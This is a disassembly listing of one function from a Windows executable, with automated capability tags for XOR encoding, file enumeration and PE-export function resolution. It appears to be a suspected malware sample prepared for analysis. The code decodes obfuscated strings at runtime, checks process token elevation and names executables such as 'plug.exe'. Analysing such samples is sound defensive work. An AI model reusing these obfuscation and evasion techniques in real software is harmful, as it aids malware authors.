Function at 0x40d320
Capabilities:
Check if file exists
Encode data using xor
Enumerate files on windows
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
mov eax, 0x2800
call fcn.004e2220
mov edi, ecx
lea ecx, [esp + 0x7f0]
call 0x40d341
pop ebx
call fcn.00482ae0
mov esi, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x7f4]
mov edx, dword [esp + 0x7f8]
mov eax, esi
neg eax
jno 0x40d36c
mov dword [edi], ecx
mov dword [edi + 4], edx
jmp 0x40fb9c
mov dword [esp + 0x2c], edi
mov dword [esp + 0x12c], esi
mov dword [esp + 0x48], ecx
call fcn.00487810
test eax, eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x4c], ebx
je 0x40d3c0
mov esi, edx
lea ecx, [esp + 0x7f0]
mov edx, eax
push esi
call fcn.00413de0
add esp, 4
xor eax, eax
cmp byte [esp + 0x7f0], 0
jne 0x40d3b7
mov eax, dword [esp + 0x7f4]
mov ecx, dword [esp + 0x7f8]
jmp 0x40d3c2
xor eax, eax
test eax, eax
mov edx, 0x12
mov ebx, 0x200
mov dword [esp + 0x3a0], 0
mov dword [esp + 0x3a4], 2
mov dword [esp + 0x3a8], 0
mov dword [esp + 0x30], 2
cmovne edx, ecx
mov dword [esp + 0x1c], edx
mov edx, str.Unknown_executablehroom.exeplug.exeCTB_241028.exe
cmovne edx, eax
mov dword [esp + 0x18], edx
cmp ebx, 0x201
jb 0x40d42e
jmp 0x40d450
jbe 0x40d4ea
cmp ebx, 0x201
jae 0x40d450
mov dword [esp + 0x10], 0x200
lea esi, [esp + 0x7f0]
mov edi, ebx
jmp 0x40d46b
mov edi, dword [esp + 0xc]
sub ebx, edi
jne 0x40d4bd
mov esi, dword [esp + 0x30]
mov dword [esp + 0x3a8], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x776054]
push esi
push edi
call eax
mov ebx, eax
test eax, eax
jne 0x40d490
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40d70f
cmp ebx, edi
jne 0x40d420
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40d734
lea ebx, [edi + edi]
test edi, edi
mov eax, 0xffffffff
cmovs ebx, eax
cmp ebx, 0x201
jae 0x40d450
jmp 0x40d42e
lea ecx, [esp + 0x3a0]
mov edx, edi
push 2
push 2
push ebx
call fcn.004e6420
add esp, 0xc
mov eax, dword [esp + 0x3a4]
mov edi, dword [esp + 0x3a0]
mov dword [esp + 0x30], eax
jmp 0x40d458
cmp ebx, dword [esp + 0x10]
ja 0x40d734
lea ecx, [esp + 0x180]
mov edx, esi
push ebx
call fcn.00481800
add esp, 4
cmp dword [esp + 0x3a0], 0
je 0x40d525
push dword [esp + 0x3a4]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x180]
mov eax, ecx
neg eax
jo 0x40d734
mov edi, dword [esp + 0x188]
mov eax, dword [esp + 0x184]
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 4
mov dword [esp + 0x60], 0
test edi, edi
mov dword [esp + 0x78], eax
js 0x40d734
mov dword [esp + 0x128], ecx
je 0x40d58c
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, edi
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x40d591
jmp 0x40d734
mov esi, 1
push edi
push dword [esp + 0x7c]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x7f0], edi
mov dword [esp + 0x7f4], esi
mov dword [esp + 0x7f8], edi
mov byte [esp + 0x7fc], 0
lea ecx, [esp + 0x7f0]
mov edx, 0x71b6d2
push 9
call fcn.00483dd0
add esp, 4
mov eax, dword [esp + 0x7f0]
mov ebx, dword [esp + 0x7f8]
mov dword [esp + 0x124], eax
mov eax, dword [esp + 0x7f4]
mov dword [esp + 0x7c], eax
movzx eax, byte [esp + 0x7fc]
mov byte [esp + 0xfc], al
mov eax, dword [0x776028]
cmp eax, 2
jne 0x40d6f0
mov edx, dword [0x776034]
test edx, edx
js 0x40d734
mov dword [esp + 0x24], edi
mov dword [esp + 0x40], ebx
je 0x40d6e7
mov esi, dword [0x776030]
movzx eax, byte [0x77618d]
xor ecx, ecx
xor ebx, ebx
mov dword [esp + 0xc], edx
call fcn.00490be0
test eax, eax
je 0x40d734
mov ecx, dword [esp + 0xc]
mov edi, eax
cmp ecx, 8
jb 0x40d736
xor ebx, ebx
cmp ecx, 0x20
jb 0x40d6b6
movdqa xmm0, xmmword [0x4e72b0]
mov ebx, ecx
xor eax, eax
and ebx, 0x7fffffe0
nop word cs:[eax + eax]
nop
movdqu xmm1, xmmword [esi + eax]
movdqu xmm2, xmmword [esi + eax + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [edi + eax], xmm1
movdqu xmmword [edi + eax + 0x10], xmm2
add eax, 0x20
cmp ebx, eax
jne 0x40d680
cmp ecx, ebx
je 0x40d744
test cl, 0x18
je 0x40d736
movdqa xmm0, xmmword [0x4e7320]
mov eax, ebx
mov ebx, ecx
and ebx, 0x7ffffff8
nop dword [eax + eax]
movq xmm1, qword [esi + eax]
pxor xmm1, xmm0
movq qword [edi + eax], xmm1
add eax, 8
cmp ebx, eax
jne 0x40d6d0
jmp 0x40d740
mov esi, edx
mov edi, 1
jmp 0x40d74a
mov ecx, 0x776028
mov edx, 0x776028
call fcn.004e3b40
mov edx, dword [0x776034]
test edx, edx
jns 0x40d61d
jmp 0x40d734
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esp + 0x3a0], 0
je 0x40d734
push dword [esp + 0x3a4]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
ud2
movzx eax, byte [esi + ebx]
xor al, 0xaa
mov byte [edi + ebx], al
inc ebx
cmp ecx, ebx
jne 0x40d736
mov ebx, dword [esp + 0x40]
mov esi, ecx
mov edx, dword [esp + 0x7c]
lea eax, [esp + 0x7f0]
pxor xmm0, xmm0
mov dword [esp + 0x7f0], 0
mov dword [esp + 0x7f8], 0
mov dword [esp + 0x7fc], 0
mov dword [esp + 0x800], 7
lea ecx, [esp + 0x180]
movq qword [esp + 0x80a], xmm0
movq qword [esp + 0x804], xmm0
mov byte [esp + 0x80d], 1
mov word [esp + 0x80f], 0x101
push eax
push ebx
call fcn.00482ea0
add esp, 8
cmp byte [esp + 0x180], 4
jne 0x40d7cd
mov ebx, dword [esp + 0x184]
jmp 0x40d7e3
mov eax, dword [esp + 0x180]
mov ebx, dword [esp + 0x184]
cmp al, 4
jne 0x40d8ba
mov dword [esp + 0x5d0], ebx
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0x5d0]
push esi
push edi
call fcn.00401a10
add esp, 8
cmp byte [esp + 0x7f0], 4
jne 0x40d830
mov edx, dword [esp + 0x7c]
lea ecx, [esp + 0x3a0]
push dword [esp + 0x40]
call fcn.00411be0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x40d857
jmp 0x40d866
mov eax, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x7f4]
mov dword [esp + 0x3a4], ecx
mov dword [esp + 0x3a0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40d866
push edi
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [esp + 0x3a0]
cmp al, 4
jne 0x40d89b
mov ebx, dword [esp + 0x40]
test ebx, ebx
js 0x40d734
je 0x40d8ee
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, ebx
call fcn.00490be0
mov edi, eax
test eax, eax
jne 0x40d8f3
jmp 0x40d734
mov ecx, dword [esp + 0x3a1]
mov edx, dword [esp + 0x3a4]
mov esi, dword [esp + 0x2c]
mov dword [esi + 4], edx
mov dword [esi + 1], ecx
mov byte [esi], al
jmp 0x40faec
mov ecx, eax
shr ecx, 8
mov word [esp + 0x3a1], cx
mov ecx, eax
shr ecx, 0x18
mov byte [esp + 0x3a3], cl
mov byte [esp + 0x3a0], al
mov dword [esp + 0x3a4], ebx
test esi, esi
jne 0x40d857
jmp 0x40d866
mov edi, 1
push ebx
push dword [esp + 0x80]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ebx, dword [esp + 0x60]
cmp ebx, dword [esp + 0x58]
jne 0x40d917
lea ecx, [esp + 0x58]
call fcn.004a44e0
mov eax, dword [esp + 0x5c]
mov edx, dword [esp + 0x40]
mov ecx, ebx
inc ebx
shl ecx, 4
mov dword [eax + ecx], edx
mov dword [eax + ecx + 4], edi
mov dword [eax + ecx + 8], edx
mov dh, byte [esp + 0xfc]
mov byte [eax + ecx + 0xc], dh
mov dword [esp + 0x60], ebx
mov dword [esp + 0x3a0], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea ecx, [esp + 0x3a0]
push ecx
push 8
push eax
call sub.ADVAPI32.dll_OpenProcessToken
mov edi, dword [esp + 0x24]
test eax, eax
je 0x40d9e1
lea eax, [esp + 0x7f0]
mov dword [esp + 0x180], 0
mov dword [esp + 0x7f0], 0
push eax
push 4
lea eax, [esp + 0x188]
push eax
push 0x14
push dword [esp + 0x3b0]
call sub.ADVAPI32.dll_GetTokenInformation
mov esi, eax
push dword [esp + 0x3a0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40d9e1
cmp dword [esp + 0x180], 0
je 0x40d9e1
test edi, edi
je 0x40dd44
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, edi
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x40dd49
jmp 0x40d734
lea eax, [0x714471]
mov dword [esp + 0x7f0], eax
lea eax, [esp + 0x7f0]
lea eax, [esp + 0x7f0]
mov ecx, dword [esp + 0x7f0]
mov dword [esp + 0x7f0], 0x28f50927
mov edx, dword [esp + 0x7f0]
call fcn.004071a0
mov ecx, 0x4d49fb40
mov esi, 0xbe7b1950
mov edx, 0x777f88f8
xor ecx, dword [eax]
mov dword [esp + 0xc], ecx
mov ecx, 0x36198850
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0xe562f0f9
xor ecx, dword [eax + 8]
mov dword [esp + 0x30], ecx
mov ecx, 0xd4cc25a7
xor ecx, dword [eax + 0xc]
mov dword [esp + 0x20], ecx
mov ecx, 0x5f655efb
xor ecx, dword [eax + 0x10]
mov dword [esp + 0x4c], ecx
mov ecx, 0x63f2d066
xor ecx, dword [eax + 0x14]
mov dword [esp + 0x44], ecx
mov ecx, 0x63f9fb9
xor ecx, dword [eax + 0x18]
mov dword [esp + 0x54], ecx
mov ecx, 0x4cd06efd
xor ecx, dword [eax + 0x1c]
mov dword [esp + 0x50], ecx
mov ecx, 0x60f2213a
xor ecx, dword [eax + 0x20]
mov dword [esp + 0x14], ecx
mov ecx, 0x4a79b2c8
xor esi, dword [eax + 0x24]
xor edx, dword [eax + 0x28]
xor ecx, dword [eax + 0x2c]
movzx ebx, byte [eax + 0x32]
movzx eax, word [eax + 0x30]
mov edi, dword [esp + 0xc]
mov dword [esp + 0x180], 0x71b6b0
mov dword [esp + 0x184], 2
mov dword [esp + 0x190], 0
mov dword [esp + 0x7f0], edi
mov edi, dword [esp + 0x10]
xor al, 0xd8
xor ah, 0x17
xor bl, 0x31
mov dword [esp + 0x7f4], edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x7f8], edi
mov edi, dword [esp + 0x20]
mov dword [esp + 0x7fc], edi
mov edi, dword [esp + 0x4c]
mov dword [esp + 0x800], edi
mov edi, dword [esp + 0x44]
mov dword [esp + 0x804], edi
mov edi, dword [esp + 0x54]
mov dword [esp + 0x808], edi
mov edi, dword [esp + 0x50]
mov dword [esp + 0x80c], edi
mov edi, dword [esp + 0x14]
mov dword [esp + 0x810], edi
mov dword [esp + 0x814], esi
mov dword [esp + 0x818], edx
mov dword [esp + 0x81c], ecx
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0x3a0]
mov byte [esp + 0x820], al
mov byte [esp + 0x821], ah
mov byte [esp + 0x822], bl
mov dword [esp + 0x3a0], ecx
lea ecx, [esp + 0x5d0]
mov dword [esp + 0x5d0], edx
mov dword [esp + 0x3a4], 0x33
mov dword [esp + 0x5d4], 0x498340
mov dword [esp + 0x188], ecx
lea ecx, [esp + 0x180]
mov dword [esp + 0x18c], 1
call fcn.004863c0
mov ecx, 0x80000000
xor edx, edx
mov edi, dword [esp + 0x24]
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ecx
test edi, edi
je 0x40dbe4
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, edi
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x40dbe9
jmp 0x40d734
mov esi, 1
push edi
push dword [esp + 0x7c]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x7f0], edi
mov dword [esp + 0x7f4], esi
mov dword [esp + 0x7f8], edi
mov byte [esp + 0x7fc], 0
lea ecx, [esp + 0x7f0]
mov edx, 0x71b6e3
push 0xe
call fcn.00483dd0
add esp, 4
mov eax, dword [esp + 0x7f0]
mov esi, dword [esp + 0x7f8]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x7f4]
mov dword [esp + 0x4c], eax
movzx eax, byte [esp + 0x7fc]
mov byte [esp + 0x50], al
mov eax, dword [0x77603c]
cmp eax, 2
jne 0x40e496
mov edx, dword [0x776048]
test edx, edx
js 0x40d734
mov dword [esp + 0x44], esi
mov dword [esp + 0xc], edx
je 0x40dd3a
mov esi, dword [0x776044]
movzx eax, byte [0x77618d]
xor ecx, ecx
xor ebx, ebx
call fcn.00490be0
test eax, eax
je 0x40d734
mov ecx, dword [esp + 0xc]
mov edi, eax
cmp ecx, 8
jb 0x40e5c9
xor ebx, ebx
cmp ecx, 0x20
jb 0x40dd06
movdqa xmm0, xmmword [0x4e72c0]
mov ebx, ecx
xor eax, eax
and ebx, 0x7fffffe0
nop word cs:[eax + eax]
nop dword [eax]
movdqu xmm1, xmmword [esi + eax]
movdqu xmm2, xmmword [esi + eax + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [edi + eax], xmm1
movdqu xmmword [edi + eax + 0x10], xmm2
add eax, 0x20
cmp ebx, eax
jne 0x40dcd0
cmp ecx, ebx
je 0x40e5d7
test cl, 0x18
je 0x40e5c9
movdqa xmm0, xmmword [0x4e7330]
mov eax, ebx
mov ebx, ecx
and ebx, 0x7ffffff8
nop dword [eax + eax]
movq xmm1, qword [esi + eax]
pxor xmm1, xmm0
movq qword [edi + eax], xmm1
add eax, 8
cmp ebx, eax
jne 0x40dd20
jmp 0x40e5d3
mov edi, 1
jmp 0x40e5db
mov esi, 1
push edi
push dword [esp + 0x7c]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x7f0], edi
mov dword [esp + 0x7f4], esi
mov dword [esp + 0x7f8], edi
mov byte [esp + 0x7fc], 0
lea ecx, [esp + 0x7f0]
mov edx, 0x71b6db
push 8
call fcn.00483dd0
add esp, 4
mov eax, dword [esp + 0x7f0]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x7f4]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x7fc]
mov dword [esp + 0x120], eax
mov eax, dword [esp + 0x7f8]
mov dword [esp + 0x6c], eax
lea eax, [0x70c021]
mov dword [esp + 0x7f0], eax
lea eax, [esp + 0x7f0]
lea eax, [esp + 0x7f0]
mov ecx, dword [esp + 0x7f0]
mov dword [esp + 0x7f0], 0xd31051fa
mov edx, dword [esp + 0x7f0]
call fcn.00407140
mov ecx, 0xa85700e4
mov edi, 0x514df42f
mov esi, 0x16c41aab
mov edx, 0x27b73c03
xor ecx, dword [eax]
mov dword [esp + 0xc], ecx
mov ecx, 0x413f3ce1
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0x72cab9b0
xor ecx, dword [eax + 8]
mov dword [esp + 0x30], ecx
mov ecx, 0x9a69c28e
xor ecx, dword [eax + 0xc]
mov dword [esp + 0x44], ecx
mov ecx, 0xe53221d2
xor ecx, dword [eax + 0x10]
mov dword [esp + 0x54], ecx
mov ecx, 0x800e1b96
xor ecx, dword [eax + 0x14]
mov dword [esp + 0x50], ecx
mov ecx, 0x2ce3bf28
xor ecx, dword [eax + 0x18]
mov dword [esp + 0x14], ecx
mov ecx, 0x3bd4c7cb
xor ecx, dword [eax + 0x1c]
mov dword [esp + 0x68], ecx
mov ecx, 0xc6933dfd
xor ecx, dword [eax + 0x20]
mov dword [esp + 0x28], ecx
mov ecx, 0x84b5600b
xor ecx, dword [eax + 0x24]
mov dword [esp + 0x130], ecx
mov ecx, 0x3e369e71
xor ecx, dword [eax + 0x28]
mov dword [esp + 0x64], ecx
mov ecx, 0x52e1d92d
xor ecx, dword [eax + 0x2c]
mov dword [esp + 0x104], ecx
mov ecx, 0xc6d0bf18
xor edi, dword [eax + 0x30]
xor esi, dword [eax + 0x34]
xor edx, dword [eax + 0x38]
xor ecx, dword [eax + 0x3c]
movzx eax, word [eax + 0x40]
mov ebx, dword [esp + 0xc]
mov dword [esp + 0x3a0], ebx
mov ebx, dword [esp + 0x10]
xor al, 0xa1
xor ah, 0x27
mov dword [esp + 0x3a4], ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 0x3a8], ebx
mov ebx, dword [esp + 0x44]
mov dword [esp + 0x3ac], ebx
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x3b0], ebx
mov ebx, dword [esp + 0x50]
mov dword [esp + 0x3b4], ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x3b8], ebx
mov ebx, dword [esp + 0x68]
mov dword [esp + 0x3bc], ebx
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x3c0], ebx
mov ebx, dword [esp + 0x130]
mov dword [esp + 0x3c4], ebx
mov ebx, dword [esp + 0x64]
mov dword [esp + 0x3c8], ebx
mov ebx, dword [esp + 0x104]
mov dword [esp + 0x3cc], ebx
mov dword [esp + 0x3d0], edi
mov dword [esp + 0x3d4], esi
lea esi, [esp + 0x7f0]
mov dword [esp + 0x3d8], edx
mov dword [esp + 0x3dc], ecx
mov byte [esp + 0x3e0], al
mov byte [esp + 0x3e1], ah
lea edx, [esp + 0x3a0]
mov ecx, esi
push 0x42
call fcn.004bcff0
add esp, 4
lea ecx, [esp + 0x180]
mov edx, esi
call fcn.004a37f0
cmp dword [esp + 0x180], 3
jne 0x40e072
mov eax, dword [esp + 0x1d8]
mov edx, dword [esp + 0x234]
mov edi, dword [esp + 0x1cc]
mov ecx, dword [esp + 0x1d0]
mov esi, dword [esp + 0x1e0]
cmp dword [esp + 0x194], 0
mov ebx, dword [esp + 0x1ec]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x1dc]
mov dword [esp + 0x30], edx
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x1e4]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x1e8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x230]
mov dword [esp + 0x10], eax
je 0x40e01f
push dword [esp + 0x198]
push 0
push dword [0x776180]
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x14]
test edi, edi
je 0x40e032
push ecx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x40e14e
mov eax, dword [esp + 0x44]
lea edi, [eax + 4]
jmp 0x40e05a
add edi, 0x10
dec esi
je 0x40e14e
cmp dword [edi - 4], 0
je 0x40e050
push dword [edi]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40e050
lea eax, [0x70e252]
mov dword [esp + 0x7f0], eax
lea eax, [esp + 0x7f0]
lea eax, [esp + 0x7f0]
mov ecx, dword [esp + 0x7f0]
mov dword [esp + 0x7f0], 0x47ac50a1
mov edx, dword [esp + 0x7f0]
call fcn.00407220
mov ecx, 0xe8a32d73
mov esi, 0xe2d60e96
mov edi, 0x439f3d94
mov ebx, 0x21901fc2
xor ecx, dword [eax]
mov dword [esp + 0xc], ecx
mov ecx, 0x2cac7555
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0x6f619036
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
movzx eax, byte [eax + 0x18]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x7f0], edx
mov edx, dword [esp + 0x10]
xor al, 0x25
mov dword [esp + 0x7f4], edx
mov dword [esp + 0x7f8], esi
mov dword [esp + 0x7fc], edi
mov dword [esp + 0x800], ebx
mov dword [esp + 0x804], ecx
mov byte [esp + 0x808], al
lea ecx, [esp + 0x80]
lea edx, [esp + 0x7f0]
push 0x19
call fcn.00401b40
add esp, 4
lea ecx, [esp + 0x180]
call fcn.004046a0
mov edi, dword [esp + 0x6c]
jmp 0x40e429
cmp dword [esp + 0x50], 0
je 0x40e167
push dword [esp + 0x44]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x40e19a
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
lea esi, [eax + 0x14]
jmp 0x40e186
add esi, 0x48
dec ebx
je 0x40e19a
cmp dword [esi - 4], 0
je 0x40e180
push dword [esi]
push 0
push dword [0x776180]
call edi
jmp 0x40e180
cmp dword [esp + 0x54], 0
je 0x40e1b3
push dword [esp + 0xc]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x74]
lea eax, [esp + 0x7f0]
pxor xmm0, xmm0
mov dword [esp + 0x7f0], 0
mov dword [esp + 0x7f8], 0
mov dword [esp + 0x7fc], 0
mov dword [esp + 0x800], 7
lea ecx, [esp + 0x5d0]
movq qword [esp + 0x80a], xmm0
movq qword [esp + 0x804], xmm0
mov byte [esp + 0x80d], 1
mov word [esp + 0x80f], 0x101
push eax
mov edi, dword [esp + 0x70]
push edi
call fcn.00482ea0
add esp, 8
cmp byte [esp + 0x5d0], 4
mov esi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x10]
jne 0x40e242
mov eax, dword [esp + 0x5d4]
jmp 0x40e259
mov ecx, dword [esp + 0x5d0]
mov eax, dword [esp + 0x5d4]
cmp cl, 4
jne 0x40e511
mov ecx, dword [esp + 0x30]
lea edx, [esp + 0x7f0]
mov dword [esp + 0xd8], eax
lea edi, [esp + 0xa8]
mov dword [esp + 0x5d0], edx
mov dword [esp + 0x5d4], 0x2000
mov dword [esp + 0x5d8], 0
mov dword [esp + 0x5dc], 0
mov ecx, dword [ecx + 0x24]
mov dword [esp + 0xc], ecx
push 0
lea eax, [esp + 0x5d4]
push eax
push ebx
push edi
call ecx
jmp 0x40e2f3
add esp, 0x10
movzx eax, byte [esp + 0xa8]
cmp al, 4
je 0x40e379
movzx eax, al
mov eax, dword [eax*4 + 0x411bc4]
add eax, esi
jmp eax
mov eax, dword [esp + 0x5d8]
test eax, eax
je 0x40e54b
mov ecx, edi
lea edx, [esp + 0xd8]
push eax
push dword [esp + 0x5d4]
call fcn.00401a10
add esp, 8
cmp byte [esp + 0xa8], 4
mov edi, dword [esp + 0x6c]
jne 0x40e595
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x5d8], 0
lea edi, [esp + 0xa8]
jmp 0x40e2a1
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], ecx
mov esi, dword [esp + 0x30]
push dword [esp + 0xd8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi]
test eax, eax
je 0x40e40b
push ebx
call eax
add esp, 4
cmp dword [esi + 4], 0
je 0x40e429
cmp dword [esi + 8], 9
jb 0x40e41a
mov ebx, dword [ebx - 4]
push ebx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [esp + 0x80]
cmp al, 4
jne 0x40e45a
test edi, edi
js 0x40d734
je 0x40e4b8
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, edi
call fcn.00490be0
mov esi, eax
test eax, eax
jne 0x40e4bd
jmp 0x40d734
cmp dword [esp + 0x20], 0
mov ecx, dword [esp + 0x81]
mov edx, dword [esp + 0x84]
mov esi, dword [esp + 0x2c]
mov dword [esi + 4], edx
mov dword [esi + 1], ecx
mov byte [esi], al
je 0x40faec
push dword [esp + 0x74]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40faec
mov ecx, 0x77603c
mov edx, 0x77603c
call fcn.004e3b40
mov edx, dword [0x776048]
test edx, edx
jns 0x40dc6f
jmp 0x40d734
mov esi, 1
push edi
push dword [esp + 0x78]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, dword [esp + 0x60]
cmp edi, dword [esp + 0x58]
jne 0x40e4de
lea ecx, [esp + 0x58]
call fcn.004a44e0
mov eax, dword [esp + 0x5c]
mov edx, dword [esp + 0x6c]
mov ecx, edi
inc edi
shl ecx, 4
mov dword [eax + ecx], edx
mov dword [eax + ecx + 4], esi
mov dword [eax + ecx + 8], edx
mov edx, dword [esp + 0x120]
mov byte [eax + ecx + 0xc], dl
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x60], edi
mov dl, 1
jmp 0x40dbb9
mov edx, ecx
mov esi, dword [esp + 0x30]
shr edx, 8
mov word [esp + 0x81], dx
mov edx, ecx
shr edx, 0x18
mov byte [esp + 0x83], dl
mov byte [esp + 0x80], cl
mov dword [esp + 0x84], eax
mov eax, dword [esi]
test eax, eax
jne 0x40e405
jmp 0x40e40b
mov edi, dword [esp + 0x6c]
mov edx, dword [esp + 0x74]
lea ecx, [esp + 0x7f0]
push edi
call fcn.00411be0
add esp, 4
cmp byte [esp + 0x7f0], 4
jne 0x40e5a8
mov byte [esp + 0x80], 4
push dword [esp + 0xd8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x30]
mov eax, dword [esi]
test eax, eax
jne 0x40e405
jmp 0x40e40b
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
jmp 0x40e3e0
mov eax, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x7f4]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x80], eax
jmp 0x40e3ee
movzx eax, byte [esi + ebx]
xor al, 0xbb
mov byte [edi + ebx], al
inc ebx
cmp ecx, ebx
jne 0x40e5c9
mov esi, dword [esp + 0x44]
mov edx, dword [esp + 0x4c]
lea eax, [esp + 0x7f0]
pxor xmm0, xmm0
mov dword [esp + 0x7f0], 0
mov dword [esp + 0x7f8], 0
mov dword [esp + 0x7fc], 0
mov dword [esp + 0x800], 7
lea ecx, [esp + 0x180]
movq qword [esp + 0x80a], xmm0
movq qword [esp + 0x804], xmm0
mov byte [esp + 0x80d], 1
mov word [esp + 0x80f], 0x101
push eax
push esi
call fcn.00482ea0
add esp, 8
cmp byte [esp + 0x180], 4
jne 0x40e65e
mov ecx, dword [esp + 0x184]
jmp 0x40e675
mov edx, dword [esp + 0x180]
mov ecx, dword [esp + 0x184]
cmp dl, 4
jne 0x40ea94
mov dword [esp + 0x10], ecx
mov dword [esp + 0x148], ecx
lea ecx, [esp + 0x7f0]
lea edx, [esp + 0x148]
push dword [esp + 0xc]
push edi
call fcn.00401a10
add esp, 8
cmp byte [esp + 0x7f0], 4
jne 0x40ea08
mov edx, dword [esp + 0x4c]
lea ecx, [esp + 0x7f0]
push esi
call fcn.00411be0
add esp, 4
cmp byte [esp + 0x7f0], 4
jne 0x40ea08
lea eax, [0x711847]
mov dword [esp + 0x7f0], eax
lea eax, [esp + 0x7f0]
lea eax, [esp + 0x7f0]
mov ecx, dword [esp + 0x7f0]
mov dword [esp + 0x7f0], 0xe8935011
mov edx, dword [esp + 0x7f0]
call fcn.00407240
mov ecx, 0x83ff3a41
mov edx, 0xf2522b5a
mov esi, 0x501f2806
mov ebx, 0x16e9e3a9
xor ecx, dword [eax]
mov dword [esp + 0x30], ecx
mov ecx, 0x79060a07
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor ebx, dword [eax + 0xc]
xor ecx, dword [eax + 0x10]
mov eax, dword [esp + 0x30]
mov dword [esp + 0x3a0], eax
mov dword [esp + 0x3a4], edx
mov dword [esp + 0x3a8], esi
mov dword [esp + 0x3ac], ebx
mov dword [esp + 0x3b0], ecx
lea ecx, [esp + 0xd8]
lea edx, [esp + 0x3a0]
push 0x14
call fcn.0040ca90
add esp, 4
cmp byte [esp + 0xd8], 4
mov eax, dword [esp + 0x10]
je 0x40e9e9
movq xmm0, qword [esp + 0xd8]
lea eax, [0x716cc8]
mov dword [esp + 0x7f0], eax
lea eax, [esp + 0x7f0]
movq qword [esp + 0x80], xmm0
lea eax, [esp + 0x7f0]
mov ecx, dword [esp + 0x7f0]
mov dword [esp + 0x7f0], 0xa984ceb2
mov edx, dword [esp + 0x7f0]
call fcn.004071c0
mov ecx, 0x16d05d1e
mov esi, 0x72c156d3
mov edx, 0x5b78411e
xor ecx, dword [eax]
mov dword [esp + 0x10], ecx
mov ecx, 0xb301e747
xor ecx, dword [eax + 4]
mov dword [esp + 0x30], ecx
mov ecx, 0x382ebed3
xor esi, dword [eax + 8]
xor edx, dword [eax + 0xc]
